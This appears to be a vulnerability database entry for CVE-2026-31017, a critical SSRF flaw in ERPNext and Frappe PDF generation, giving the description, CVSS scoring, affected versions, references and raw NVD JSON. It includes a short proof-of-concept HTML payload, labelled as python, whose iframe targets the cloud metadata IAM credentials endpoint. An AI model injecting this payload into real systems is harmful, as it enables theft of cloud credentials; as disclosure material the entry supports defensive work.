CVE-2026-31017

Description

A Server-Side Request Forgery (SSRF) vulnerability exists in the Print Format functionality of ERPNext v16.0.1 and Frappe Framework v16.1.1, where user-supplied HTML is insufficiently sanitized before being rendered into PDF. When generating PDFs from user-controlled HTML content, the application allows the inclusion of HTML elements such as <iframe> that reference external resources. The PDF rendering engine automatically fetches these resources on the server side. An attacker can abuse this behavior to force the server to make arbitrary HTTP requests to internal services, including cloud metadata endpoints, potentially leading to sensitive information disclosure.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:16.0.1:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:frappe:frappe:16.1.1:*:*:*:*:*:*:* - VULNERABLE

ERPNext v16.0.1

Frappe Framework v16.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-31017: SSRF via PDF Generation -->
<!-- Attacker injects this HTML into the Print Format configuration -->
<html>
<body>
  <h1>Invoice</h1>
  <!-- The server fetches this URL when generating the PDF -->
  <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/role"></iframe>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31017
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31017
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31017/
[4] VulDB https://vuldb.com/cve/CVE-2026-31017
[5] http://frappe.com
[6] https://github.com/PhDg1410/CVE/tree/main/CVE-2026-31017

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31017", "sourceIdentifier": "[email protected]", "published": "2026-04-08T17:21:18.737", "lastModified": "2026-04-14T15:46:59.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) vulnerability exists in the Print Format functionality of ERPNext v16.0.1 and Frappe Framework v16.1.1, where user-supplied HTML is insufficiently sanitized before being rendered into PDF. When generating PDFs from user-controlled HTML content, the application allows the inclusion of HTML elements such as <iframe> that reference external resources. The PDF rendering engine automatically fetches these resources on the server side. An attacker can abuse this behavior to force the server to make arbitrary HTTP requests to internal services, including cloud metadata endpoints, potentially leading to sensitive information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:16.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "3B49FE4D-85A8-44E2-9BF2-E60B7FFBAC81"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:16.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "461D4C6F-5E45-43CA-A47F-D5DDDD083786"}]}]}], "references": [{"url": "http://frappe.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/PhDg1410/CVE/tree/main/CVE-2026-31017", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}